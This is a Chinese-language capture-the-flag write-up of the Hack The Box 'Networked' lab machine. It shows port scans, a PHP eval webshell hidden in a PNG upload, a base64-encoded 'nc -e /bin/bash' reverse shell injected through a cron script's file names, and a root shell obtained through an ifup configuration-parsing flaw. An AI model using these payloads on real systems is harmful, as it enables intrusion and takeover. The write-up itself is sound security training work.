HTB Networked 打靶练习详细记录
摘要
本文详细记录了对HTB Networked (10.10.10.146) 的完整打靶练习过程。练习过程中成功利用了文件上传漏洞和Apache配置错误获取初始立足点,随后通过cron作业中的命令注入漏洞实现用户权限的横向移动,最终利用网络配置脚本中的命令执行漏洞成功提升至root权限。整个攻击链展示了从外部攻击者视角到完全控制系统的完整过程。
关键技术
- 文件上传绕过技术: 利用双扩展名和图片马绕过文件类型检查
- Apache配置错误: AddHandler指令的不安全配置导致任意代码执行
- 命令注入 (CWE-78): 利用cron作业中的不安全exec()调用
- 配置文件解析漏洞: 利用网络接口配置文件的解析特性实现权限提升
- 图片马: 在合法PNG文件中嵌入PHP代码
1. 初始侦察阶段
1.1 端口扫描
首先对目标系统进行全端口扫描
nmap -sT --min-rate 10000 -p- 10.10.10.146
参数详解:
-sT
: TCP Connect扫描,建立完整的TCP三次握手连接--min-rate 10000
: 设置最小发包速率为10000包/秒,加快扫描速度-p-
: 扫描所有65535个端口(1-65535)10.10.10.146
: 目标IP地址
扫描结果:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-11 18:08 CST
Nmap scan report for bogon (10.10.10.146)
Host is up (0.30s latency).
Not shown: 65469 filtered tcp ports (no-response), 62 filtered tcp ports (host-unreach)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp closed https
初步分析:
- SSH服务运行在标准22端口
- HTTP服务运行在80端口
- HTTPS端口443处于关闭状态
1.2 详细服务识别
针对发现的开放端口进行深度扫描:
nmap -sT -sC -sV -p22,80 10.10.10.146
参数详解:
-sT
: TCP Connect扫描-sC
: 使用默认NSE脚本集进行服务识别和漏洞探测-sV
: 版本检测,识别服务具体版本信息-p22,80
: 指定扫描端口
详细扫描结果:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-11 18:11 CST
Nmap scan report for bogon (10.10.10.146)
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
关键发现:
- SSH版本:OpenSSH 7.4(相对较旧的版本)
- Web服务器:Apache 2.4.6运行在CentOS上
- PHP版本:5.4.16(存在多个已知漏洞)
- 操作系统:CentOS(基于服务器响应头推断)
2. 服务探测与信息收集
2.1 Web应用程序初步探测
浏览器访问http://10.10.10.146
,页面内容较少,未发现明显的攻击向量。
2.2 目录遍历
使用feroxbuster进行目录和文件枚举:
feroxbuster -u http://10.10.10.146
工具说明: feroxbuster是一个高性能的内容发现工具,使用Rust编写,支持递归扫描和多线程。
关键发现:
http://10.10.10.146/backup/ => Directory listing (add --scan-dir-listings to scan)
发现存在目录列表泄露,这是一个严重的信息泄露漏洞。
2.3 备份文件分析
访问http://10.10.10.146/backup/
发现backup.tar
文件,下载并解压,有四个文件 index.php
lib.php
photos.php
upload.php
很明显这是web目录的备份,尝试访问 http://10.10.10.146/upload.php
,成功找到上传接口,尝试上传php木马,但是返回 Invalid image file.
看来上传接口有限制,尝试绕过:
wget http://10.10.10.146/backup/backup.tar
tar -xvf backup.tar
解压内容:
index.php
: 网站首页文件lib.php
: 包含核心函数库photos.php
: 图片展示页面upload.php
: 文件上传功能
代码审计发现: 通过分析源代码,发现了文件上传功能的实现逻辑和漏洞。
3. 漏洞识别与初始访问
3.1 文件上传漏洞分析
3.1.1 漏洞原理
文件上传功能的核心逻辑存在于upload.php
和lib.php
两个文件中。upload.php
脚本调用了两个检查函数:
check_file_type
函数:- 仅检查MIME类型是否以
image/
开头 - 可通过构造图片马绕过
- 仅检查MIME类型是否以
getnameUpload
函数:- 使用
explode
按.
分割文件名 - 错误地将第一个
.
后的所有内容作为扩展名 - 例如:
shell.php.png
被识别为扩展名php.png
- 使用
3.1.2 Apache配置错误
在php.conf
中发现危险配置:
AddHandler php5-script .php
此配置使得任何文件名中包含.php
的文件都会被PHP解释器处理,而非仅处理以.php
结尾的文件。
3.2 漏洞利用
3.2.1 制作恶意载荷
使用任意png文件,创建包含PHP代码的PNG图片:
# 使用vim编辑器在PNG文件元数据中嵌入PHP一句话木马
vim shell.php.png
# 在文件中嵌入:<?php eval($_POST[1]);?>
注意事项:
- 必须使用vim等不会破坏二进制文件的编辑器
- 避免使用Mousepad等GUI编辑器
使用fille命令验证文件格式:
file shell.php.png
shell.php.png: PNG image data, 195 x 168, 8-bit/color RGBA, non-interlaced
3.2.2 上传并获取WebShell
- 上传恶意文件至
http://10.10.10.146/upload.php
- 在
http://10.10.10.146/photos.php
找到上传的文件 - 获取文件链接:
http://10.10.10.146/uploads/10_10_16_5.php.png
- 使用蚁剑连接,密码设置为
1
3.2.3 获得初始Shell
通过WebShell执行命令:
id
uid=48(apache) gid=48(apache) groups=48(apache)
成功获得apache用户权限的Shell访问。
4. 横向移动
4.1 信息收集
在获得apache用户权限后,进行系统信息收集:
ls -al /home/
# 发现用户guly
cd /home/guly
ls -al
关键文件发现:
total 28
drwxr-xr-x. 2 guly guly 4096 Sep 6 2022 .
drwxr-xr-x. 3 root root 18 Jul 2 2019 ..
lrwxrwxrwx. 1 root root 9 Sep 7 2022 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-r--------. 1 guly guly 33 Jul 11 11:48 user.txt
4.2 Cron任务分析
查看定时任务配置:
cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
Cron表达式解析:
*/3 * * * *
: 每3分钟执行一次- 以guly用户身份运行PHP脚本
4.3 命令注入漏洞分析
分析check_attack.php
脚本:
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
漏洞点:
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
这行代码将从目录中读取到的文件名(存储在$value
变量中)直接拼接到一个shell命令字符串中,并通过exec
函数执行。这是一种教科书式的命令注入漏洞(CWE-78),因为攻击者可以通过控制文件名来注入任意shell命令。
代码使用filter_var($name, FILTER_VALIDATE_IP)
来判断文件名(不含扩展名的部分)是否为一个合法的IP地址 。如果不是,脚本就会触发上述的exec
删除命令。但是,这也保证了攻击者可以轻易地通过创建一个非IP地址格式的文件名来绕过这个检查,从而确保恶意的exec
调用被执行。
4.4 漏洞利用
4.4.1 构造反弹Shell载荷
# 原始命令
nc -e /bin/bash 10.10.16.5 7777
# Base64编码
echo -n "nc -e /bin/bash 10.10.16.5 7777" | base64
bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjUgNzc3Nw==
# 构造注入载荷
a; echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjUgNzc3Nw== | base64 -d | sh; b
当脚本运行时,它会循环运行文件,当运行到恶意载荷时,它会将 $value
设置为 a; echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE0LjcgNDQzCg== | base64 -d | sh; b
并运行:
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
相当于运行
exec("nohup /bin/rm -f /var/www/html/uploads/a; echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjUgNzc3Nw== | base64 -d | sh; b > /dev/null 2>&1 &");
4.4.2 创建恶意文件
在uploads目录创建恶意文件名:
touch '/var/www/html/uploads/a; echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjUgNzc3Nw== | base64 -d | sh; b'
4.4.3 建立监听并获取Shell
# 攻击机建立监听
nc -lnvp 7777
# 等待约3分钟后获得反弹Shell
listening on [any] 7777 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.146] 43670
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
cat user.txt
06faca999f1b******ab91d7b703ade7
4.4.4 Shell优化
使用Python获得交互式Shell:
python -c 'import pty; pty.spawn("/bin/bash")'
5. 权限提升前的信息收集
5.1 sudo权限检查
sudo -l
输出结果:
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
关键发现: guly用户可以无需密码以root权限执行/usr/local/sbin/changename.sh
脚本。
5.2 脚本分析
查看changename.sh脚本内容:
cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
脚本功能分析:
该shell脚本的功能是交互式地向用户询问网络配置值(如NAME, PROXY_METHOD等),然后将这些值以VAR=value
的格式写入/etc/sysconfig/network-scripts/ifcfg-guly
这个网络接口配置文件中。脚本最关键的操作是在结尾处调用/sbin/ifup guly0
命令,该命令会读取并执行刚刚创建的配置文件。
- 创建网络接口配置文件
- 交互式读取用户输入
- 使用正则表达式验证输入
- 将配置写入文件
- 执行
ifup
命令激活接口
6. 权限提升
6.1 漏洞分析
6.1.1 正则表达式缺陷
脚本中的正则表达式:
regexp="^[a-zA-Z0-9_\ /-]+$"
问题: 允许空格字符(\
),这在网络配置文件解析时会导致命令注入。
6.1.2 配置文件解析漏洞
漏洞的核心不在于脚本本身,而在于脚本与其调用的ifup
工具之间的交互。在许多Linux发行版(包括此靶机中的CentOS)中,网络脚本的解析器存在一个微妙但致命的行为:当它解析一个例如 VARIABLE=value with spaces
的行时,可能会将空格后的部分(with spaces
)解释为需要在子shell中执行的命令。
脚本试图通过一个正则表达式来验证用户输入:regexp="^[a-zA-Z0-9_\ /-]+$"
。这个正则表达式的目的是创建一个“安全”字符的白名单。然而,有一个致命的失误:脚本明确地将空格(\
)包含在了允许的字符集中。这可能是为了允许某些字段(如NAME
)中包含空格,但解释器会将空格后内容解释为 命令,这意味着可能存在任意命令执行
6.2尝试提权
当脚本提示输入PROXY_METHOD
的值时,输入a /bin/bash
。
- 脚本的正则表达式检查通过,因为它只包含允许的字符(字母和空格)。
- 脚本将
PROXY_METHOD=a /bin/bash
这一行写入/etc/sysconfig/network-scripts/ifcfg-guly
文件。 - 脚本以
root
权限(通过sudo
)执行/sbin/ifup guly0
。 ifup
工具在解析配置文件时,遇到PROXY_METHOD=a /bin/bash
,它将/bin/bash
解释为一个需要执行的命令。- 由于
ifup
本身是以root
身份运行的,因此/bin/bash
命令也被赋予了root
权限,从而为我提供了一个交互式的root shell 。
6.3 漏洞利用
执行提权攻击:
sudo /usr/local/sbin/changename.sh
交互过程:
interface NAME:
a # 输入正常值
interface PROXY_METHOD:
a /bin/bash # 注入恶意命令
interface BROWSER_ONLY:
a # 输入正常值
interface BOOTPROTO:
a # 输入正常值
执行结果:
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
[root@networked network-scripts]# cd /root
[root@networked ~]# cat root.txt
825df5e5cb******ad7b11804d1682bc
成功获得root权限。
7. 总结
攻击链路图
互联网
|
v
[端口扫描] --> 发现22/80端口
|
v
[目录遍历] --> 发现/backup/目录泄露
|
v
[源码审计] --> 发现文件上传漏洞 + Apache配置错误
|
v
[图片马攻击] --> shell.php.png --> WebShell (apache用户)
|
v
[信息收集] --> 发现cron作业和check_attack.php
|
v
[命令注入] --> 反弹Shell (guly用户)
|
v
[sudo权限分析] --> 发现changename.sh脚本
|
v
[配置文件解析漏洞] --> root权限
各阶段关键点总结
- 初始侦察: 通过Nmap扫描识别开放服务,发现Apache 2.4.6和PHP 5.4.16的组合
- 信息收集: 目录遍历发现备份文件泄露,获得源代码进行审计
- 初始访问: 利用文件上传漏洞结合Apache配置错误,通过图片马获得WebShell
- 横向移动: 发现并利用cron作业中的命令注入漏洞,从apache用户提升到guly用户
- 权限提升: 利用网络配置脚本中的输入验证缺陷和配置文件解析特性,最终获得root权限
攻击向量展示
- web漏洞: 文件上传验证不当(CWE-434)
- 中间件配置错误: Apache AddHandler指令的不安全配置
- 命令注入: 直接将用户输入拼接到shell命令(CWE-78)
- 输入验证缺陷: 正则表达式允许危险字符
- 配置文件解析漏洞: 网络配置文件解析器的特殊行为
结束语
本次打靶练习充分展示了多层次的安全问题如何形成完整的攻击链。从最初的信息泄露到最终的权限提升,每一步都利用了不同类型的安全缺陷。
Comments NOTHING